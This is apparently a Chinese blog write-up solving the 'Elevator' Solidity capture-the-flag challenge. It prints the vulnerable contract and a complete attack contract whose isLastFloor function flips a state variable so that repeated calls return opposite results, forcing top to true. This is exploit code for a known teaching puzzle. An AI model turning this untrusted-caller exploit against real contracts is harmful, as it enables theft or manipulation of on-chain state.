有道安全题叫Elevator,意思是说要攻击这个合约,修改里面的top变量,使得top的值为true。我们先看原题:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint256) external returns (bool);
}
contract Elevator {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
首先需要building.isLastFloor(_floor) == false,才能进到if内部,top = building.isLastFloor(floor); 要设置top为true的话,则building.isLastFloor(_floor)又必须是true。这个是不是有点矛盾,同一个函数连续执行两次,输入相同,结果要相反。这个要怎么做到呢?突破点在Building(msg.sender),只要我们自己的合约调用了goTo方法,那么msg.sender就是指向我们的攻击合约,那么控制权就在自己手上了。我们的攻击合约需要实现Building接口。剩下的就在isLastFloor()方法里做文章了。isLastFloor()返回bool变量,怎么做到连续调用两次返回相反的结果呢?我们知道,返回值是可以使用具名方式,那可以这样:
function isLastFloor(uint256) external returns (bool r) {
r = rs;
rs = !rs;
}
rs作为状态变量,每次执行isLastFloor()都会修改一次(rs = !rs)。r = rs;使得每次执行都会返回最新的rs值,这样就到达了每次调用都会返回不一样的结果了。完整代码如下:
interface IElevator {
function goTo(uint256 _floor) external ;
}
contract ElevatorAttack {
bool public rs;
IElevator public elevator;
constructor(address _elevator) {
elevator = IElevator(_elevator);
}
function goTo(uint256 _floor) public {
elevator.goTo(_floor);
}
// 注意:r这个变量名定义的比较潦草,这里仅做演示用,真实编码环境不可学我!
function isLastFloor(uint256) external returns (bool r) {
r = rs;
rs = !rs;
}
}
如有任何问题欢迎邮件沟通:huicanvie2014@gmail.com
